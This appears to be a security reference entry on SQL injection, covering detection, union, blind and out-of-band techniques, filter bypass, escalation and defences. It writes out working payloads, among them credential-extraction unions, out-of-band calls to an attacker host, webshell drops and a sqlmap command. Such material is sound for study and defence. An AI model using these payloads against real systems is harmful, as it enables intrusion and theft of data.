SQL injection
TL;DR: Untrusted input is concatenated into a SQL query; the attacker reshapes the query to read, write, or execute beyond the original intent.
What it is
The app builds SQL strings — "SELECT * FROM users WHERE name='" + input + "'" — instead of using a parameterised statement. Quotes, comments, and structural keywords in the input change the AST the database parses. Impact ranges from auth bypass and data exfiltration to file read/write and, on some stacks, OS command execution. See also sql-injection-by-database for engine-specific syntax.
Preconditions / where it applies
- Any parameter that reaches a query builder without strict typing — string fields, but also numeric, headers, cookies, JSON, ORDER BY columns.
- Verbose, blind, time-based, or out-of-band feedback channels.
- Driver and engine: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle, SQLite, plus DBaaS variants.
Technique
- Detect. Append
',",\,)and watch for errors or behaviour change. Compare' OR 1=1--and' OR 1=2--outcomes. - Classify. In-band (union / error) > blind boolean > blind time-based > out-of-band (DNS, HTTP).
-
Union-based exfil. Match column count and types, then read system tables.
1 2 3
' UNION SELECT NULL,NULL,NULL-- ' UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- ' UNION SELECT username,password,NULL FROM users--
- Boolean blind.
AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'— iterate per char. Burp Intruder cluster-bomb or sqlmap. - Time blind.
AND IF(SUBSTRING(...,1,1)='a', SLEEP(5), 0)(MySQL);pg_sleep,WAITFOR DELAY,DBMS_PIPE.RECEIVE_MESSAGE. - Out-of-band. MSSQL
xp_dirtree '\\attacker\share\...', MySQLLOAD_FILE('//oast.me/x'), OracleUTL_HTTP.REQUEST. Useful when filters strip output and timing is unreliable. - Second-order. Payload stored on insert, fires when another query later concatenates it (admin search, report export).
- Filter / waf-bypass tricks. Inline comments
/*!50000UNION*/, case, whitespace alternatives (/**/, tab,+),CHAR()reassembly, JSON / parameter pollution. - Escalate. MSSQL
xp_cmdshell, MySQLINTO OUTFILEto drop a webshell, PostgreSQLCOPY ... PROGRAM, file read where the DB user has FILE privilege. - Automation.
sqlmap -u 'https://target/x?id=1' --batch --risk 3 --level 5 --random-agentonce you have manual confirmation.
Detection and defence
- Use parameterised queries / prepared statements everywhere. ORMs are not magic — raw query /
whereRawis the usual sink. - Strict allowlists for non-parameterisable spots (ORDER BY column, table name) — map user input to a known set, never concatenate.
- Least-privilege DB user; revoke FILE, xp_cmdshell, and superuser from the app account.
- Detection: WAF on classic patterns (
' OR,UNION SELECT,SLEEP(,xp_cmdshell); DB slow-query log spikes; error-rate alerting on 500s with SQL strings.
References
- PortSwigger — SQL injection — labs and cheat sheet.
- OWASP — SQL Injection Prevention — defences.
- sqlmap — exploitation tool.
- PayloadsAllTheThings — SQL Injection — payload reference.